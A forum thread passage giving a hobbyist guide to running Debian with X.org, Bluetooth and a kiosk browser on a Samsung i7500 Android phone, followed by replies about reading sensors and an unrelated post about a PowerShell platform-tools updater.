The script will ask for a PIN. I entered 0000 on both the keyboard and phone and the keyboard was registered.
Code:
./test-device trusted 6C:xx:xx:xx:xx:xx yes
(again use the bluetooth address of your keyboard)
Code:
hidd --connect 6C:xx:xx:xx:xx:xx
Now you should be good to use your keyboard.
7.4 Automate patchram
Right now, the KB is not automatically connected on boot, because the patchram command from above needs to be executed on every boot. Hence the following commands should be added to /etc/rc.local (before the exit 0):
Code:
#Activate bluetooth
echo 0 > /sys/class/rfkill/rfkill0/state
echo 1 > /sys/class/rfkill/rfkill0/state
/path/to/brcm_patchram_plus --enable_hci --baudrate 3000000 --use_baudrate_for_download --patchram /path/to/BCM4325D1_004.002.004.0153.0156.hcd /dev/ttyHS0 &
8. Setting the clock
I was having trouble with my clock forgetting the day and time after each reboot. It was a flaw in my kernel config. In the current version of attached config file this is fixed. Anyway, I'm also running NTP to have the clock more accurate.
Code:
apt-get install ntpdate
NTP already come nicely pre-configured (thanks, Debian maintainers!). After that the timezone can be selected using
Code:
dpkg-reconfigure tzdata
9. GUI (X.org)
X.org works almost out-of-the-box since we already pathed the kernel as described in chapter 4 above. Based on the description from (FIX this url)https :// code . google . com/p/linux-on-android/wiki/BasicSteps only two minor changes have been made:
The framebuffer device is at /dev/fb0 instead of /dev/graphcics/fb0
I use evdev instead of tslib, because it provided better results for me (thanks to pabs from #debian-mobile for pointing me there)
9.1 Install X.org
All we need to do is download the software
Code:
apt-get install xorg xserver-xorg-video-fbdev xserver-xorg-input-evdev
9.2 Configuring X.org
Now create /etc/X11/xorg.conf:
Code:
Section "InputDevice"
Identifier "Touchscreen"
Driver "evdev"
Option "Device" "/dev/input/event2"
EndSection
Section "Device"
Identifier "Configured Video Device"
Driver "fbdev"
Option "fbdev" "/dev/fb0"
EndSection
Section "Monitor"
Identifier "Configured Monitor"
Option "DPMS" "false"
EndSection
Section "Screen"
Identifier "Default Screen"
Monitor "Configured Monitor"
Device "Configured Video Device"
EndSection
Section "ServerLayout"
Identifier "Default"
Screen "Default Screen"
InputDevice "Touchscreen" "CorePointer"
EndSection
Section "ServerFlags"
Option "DefaultServerLayout" "Default"
EndSection
9.3 Testing X.org
For testing X.org I've installed icewm and created the following /root/.xsession
Code:
#!/bin/sh
xterm&
exec icewm
Then just type in startx from the console and you have X. Of course you will have to change this to whatever you need or maybe even make X start on boot.
9.4 Boot into Browser
For my target system I want the phone to directly boot into a browser. This can easily be achieved by using the nodm package:
Code:
apt-get install nodm
and midori as browser:
Code:
apt-get install midori
We'll also need a user account. I called my user "default". But naturally you can of course choose whatever you like.
Code:
adduser default
Then nodm has to be configured in /etc/default/nodm:
Code:
# nodm configuration
# Set NODM_ENABLED to something different than 'false' to enable nodm
NODM_ENABLED=true
# User to autologin for
NODM_USER=default
# xinit program
NODM_XINIT=/usr/bin/xinit
# First vt to try when looking for free VTs
NODM_FIRST_VT=7
# X session
NODM_XSESSION=/etc/X11/Xsession
# Options for the X server
NODM_X_OPTIONS='vt7 -nolisten tcp'
# If an X session will run for less than this time in seconds, nodm will wait an
# increasing bit of time before restarting the session.
NODM_MIN_SESSION_TIME=60
And we have to create ~/.xsession for our user:
Code:
#!/bin/bash
midori -e Fullscreen &
exec icewm
A few tweaks in the icewm config (~/.icewm/preferences) will make the window manager look more nicely:
Code:
WorkspaceNames=" 1 "
TaskBarShowCPUStatus=0
TaskBarDoubleHeight=0
TaskBarShowWorkspaces=0
TaskBarShowMailboxStatus=0
TaskBarShowNetStatus=0
TimeFormat="%H:%M"
TaskBarShowWindowListMenu=1
TaskBarShowShowDesktopButton=0
10. Power management
The kernel is already configured with many different frequency govenors. Also the default govenor is set to "ondemand" but for some reason the when looking at /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor it's using the "performance" govenor. This can be solved by simply installing cpufreq-utils:
Code:
apt-get install cpufrequtils
The default settings are already using "ondemand", which seems to be a good choice. Anyway, further optimisations can be done in /etc/default/cpufrequtils if needed.
The phone still gets a little too warm for my taste (I think warmer than in android). Maybe there's something that could fix this, but I'm not an expert.
11. Known shortcomings
The whole set-up is in a really, REALLY early alpha stage
If any of the hardware buttons is touched in text mode the phone crashes (does not happen when in X.org)
The screen will time-out after some time, I have no idea how to wake it up again
Did I mention this is in an alpha stage?
12. Future improvements
Switching to a newer kernel version: The latest version of GAOSP runs on kernel version 2.6.35, while this guide is using 2.6.27. I have experimented with 2.6.29, but I had trouble getting a working frame buffer.
Switching to the latest version of debian (wheezy).

Video proof
Hi all,
to get a better understanding what this is all about please watch the attached video. Please excuse the poor quality and the fingerprints on the screen.
As you can see the framebuffer output has a few quirks, but hopefully this will work out as soon as X is working.
BR,
Frank
All goals achieved
Okay, I think I now have achieved all goals. I can connect to WiFi and bluetooth. And there is a graphical user interface. Now the tweaking can start (first thing that comes to mind is powersaving). I really created this guide for myself, but I'd be happy to know if anyone else has interest in this topic.
Nice, I am interested. One question!

Nice, I am interested. One question!
I would like to use this device to get some data from the sensors. I have tested some apps in Android GAOSP to read the sensors in the i7500, but instead of using android apps, it could be very interesting to have a debian.
Have you tried to do it? Do you think it is possible? Is it too tricky to get a stable debian running an app to send sensors' data to another debian? I could help if you see it is interesting.
What is your opinion? Thank you...
Hi PabloGN,
there are a lot of entries in /proc and /sys. I think it's likely to be possible te access the sensors. For now, I have only looked at the battery status. Don't know if you'd consider that a sensor. Anyway, you would probably have to re-write your software to use those devices instead of using already existing Java libs for android. Hard to tell,*if it's worth the effort.
BR,
Frank

This is the list of input devices on my the i7500:
Code:

B: ABS=11000003
I: Bus=0000 Vendor=0000 Product=0000 Version=0000
N: Name="compass"
P: Phys=
S: Sysfs=/devices/virtual/input/input3
U: Uniq=
H: Handlers=event3
B: EV=9
B: ABS=20305ff

N: Name="proximity_i2c"
P: Phys=
S: Sysfs=/devices/virtual/input/input4
U: Uniq=
H: Handlers=event4
B: EV=1
So, it should at least be possible to read the compass and proximity sensor data form /dev/input/event3 and /dev/input/event4. Maybe there's more and I just haven't compiled it into the kernel or it's accessed in some other way. Sorry, the sensors are not part of my use case so far.
I'm only using /dev/input/event2 (touchscreen) in my xorg.conf as an input device. Works like a charm.
Good luck with your endeavour. If you want me to test something or send you the output of some command, just ask here or by PM.

Thanks for feedback, I'll look into it
Updated the tool a bit today. Found more showstopper bugs. But think it's at least usefull now.
https://github.com/o-l-a-v/PowerShell-Projects/tree/master/AndroidPlatformToolsUpdater
Script updated with better logic to detect available version vs. installed version.
